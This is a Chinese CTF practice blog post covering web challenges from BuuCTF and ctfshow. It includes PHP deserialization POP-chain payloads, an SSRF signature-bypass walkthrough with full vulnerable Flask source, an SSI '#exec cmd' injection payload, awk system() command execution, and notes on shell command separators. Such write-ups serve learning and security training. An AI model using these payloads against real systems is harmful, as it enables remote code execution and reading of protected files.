一周CTF刷题总结

记下学到东西的题目。

BuuCTF

[MRCTF2020]Ezpop

字符串比较会出发__toString方法:preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source

知道这个后pop链就容易构造了:

<?php
#
class Modifier {
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';

}

class Show{
    public $source;
    public $str;
}

class Test{
    public $p;

    public function __construct(){
        $this->p = new Modifier();
    }
}

$show1 = new Show();
$show2 = new Show();
$show2->str = new Test();
$show1->source = $show2;
echo serialize($show1);

[NPUCTF2020]ReadlezPHP

eval不是函数,所以不能像这样调用$b($a)

pop链(flag在环境变量中,在phpinfo查看):

<?php
class HelloPhp
{
    public $a = "phpinfo()";
    public $b = "assert";
}

$c = new HelloPhp();
echo serialize($c);

[De1CTF 2019]SSRF Me

进去是没有换行的源码,老实说这个自己整理还挺麻烦的,也不知道有什么工具。不过,我有ChatGPT😁

整理之后ChatGPT还提醒这段代码是Python2的,这一点还挺关键的。

贴一下源码:

#!/usr/bin/env python
# encoding=utf-8

from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json

reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)
secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)

        if not os.path.exists(self.sandbox):  # SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500

        if self.checkSign():
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)

                if resp == "Connection Timeout":
                    result['data'] = resp
                else:
                    print(resp)
                    tmpfile.write(resp)
                    tmpfile.close()
                    result['code'] = 200

            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()

            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"

        return result

    def checkSign(self):
        if getSign(self.action, self.param) == self.sign:
            return True
        else:
            return False


# generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr

    if waf(param):
        return "No Hacker!!!!"

    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())


@app.route('/')
def index():
    return open("code.txt", "r").read()


def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"


def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check = param.strip().lower()

    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0', port=1234)

这段代码的逻辑比较简单。已知flag在是同目录下的flag.txt,读取flag的方式是通过checkSign中的scanflag.txt的内容保存到"./%s/result.txt" % self.sandbox,再通过read读取其中的内容。

解题的关键有两个:

  • getSign中计算签名的方式是字符串直接拼接
  • checkSign中执行action的判断用的是in

看看下面的解题流程就知道这两个点导致的漏洞。

请求/geneSign?param=flag.txtread获得一个Sign

请求/geneSign?param=flag.txt,带上Cookie其中action=readscan; sign=之前的sign

这里面学到的点:可以像urllib.urlopen('flag.txt')直接对本地的flag.txt读取,所以waf()过滤的gopherfile也就不起作用。不过这是Python2.x才有的,在Python 3 中urllib.urlopen() 被改为 urllib.request.urlopen()

[BJDCTF2020]EasySearch

源码:index.php.swp

分析源码有两这里有两个考点:

  • md5爆破,之后好好学习一下Python多线程,这里可用的2020666
  • SSI 命令执行,记一下执行的代码

扩展名 .stm、.shtm 和 .shtml都用于表示服务器端包含 (SSI) HTML 文件。执行代码的方式:

<!--#exec cmd="your-command-here" -->

payload:password=2020666&username=<!--#exec cmd="cat ../flag_990c66bf85a09c664f0b6741840499b2"-->

响应头中有文件的位置:

ctfshow

主要做了下菜狗杯的题目

化零为整

一个变量长度只能是1,用url编码组合拼接
大牛 = %E5%A4%A7%E7%89%9B
payload:?1=%E5&2=%A4&3=%A7&4=%E7&5=%89&6=%9B

传说之下

开始游戏暂停调试,在scope的local下的this中,修改score为2077

console中get flag

easyPytHon_P

awk可以用来执行命令:awk '{system("ls")}' 1.py

茶歇区

PHP整形溢出

999999999999999999杯咖啡

小舔田?

很简单的pop构造:

<?php
class Moon{
    public $name;
    public function __construct(){
        $this->name = new Ion_Fan_Princess();
    }

}

class Ion_Fan_Princess{
    public $nickname="小甜甜";

}

$m = new Moon();
echo serialize($m);

但却出现了错误:

与网上的payload进行对比:

O:4:"Moon":1:{s:4:"name";O:16:"Ion_Fan_Princess":1:{s:8:"nickname";s:6:"小甜甜";}}	// 我输出的
O:4:"Moon":1:{s:4:"name";O:16:"Ion_Fan_Princess":1:{s:8:"nickname";s:9:"小甜甜";}}	// 正确的

区别点在于nickname的长度一个是6一个是9,为什么会出现这种情况呢🤔明天记着问问!

LSB探姬

这里直接拼接的文件名可以命令执行

让ChatGPT帮忙复习一下命令的连接符。

在 Linux 中,这五个符号(;, |, ||, &, &&)用于在命令行中连接多个命令,并对命令的执行流程进行控制。他们的含义和使用方式如下:

  1. ;(分号): 使用分号可以在一行中执行多个命令,这些命令会按顺序一个接一个地执行,不考虑前一个命令的成功或失败。例如:

    command1 ; command2
    

    在这个例子中,command1 会先执行,无论成功与否,接下来都会执行 command2

  2. |(管道): 管道符将前一个命令的输出作为后一个命令的输入。例如:

    command1 | command2
    

    在这个例子中,command1 的输出会作为 command2 的输入。

  3. ||(或): || 是一个逻辑操作符,仅在前一个命令执行失败(返回非零值)时,才会执行后一个命令。例如:

    command1 || command2
    

    在这个例子中,只有当 command1 失败时,才会执行 command2.

  4. &(后台执行): 使用 & 符号,可以使命令在后台运行。例如:

    command1 & command2
    

    在这个例子中,command1 会在后台运行,同时会立即执行 command2,而不等待 command1 完成。

  5. &&(与): && 是一个逻辑操作符,仅在前一个命令执行成功(返回零值)时,才会执行后一个命令。例如:

    command1 && command2
    

    在这个例子中,只有当 command1 执行成功时,才会执行 command2.

这些都是 Shell 编程中常见的操作符,用于控制命令的执行流程。

NICE GPT!!!

web签到

总结

这周做了14道buuctf、16道ctfshow和两道复现的题。接下来先好好学习下python多线程,写点脚本练下手,感觉确实蛮重要的。

下周准备网安实验结课,后面项目也要开发了。争取还是多抽点时间刷刷题吧!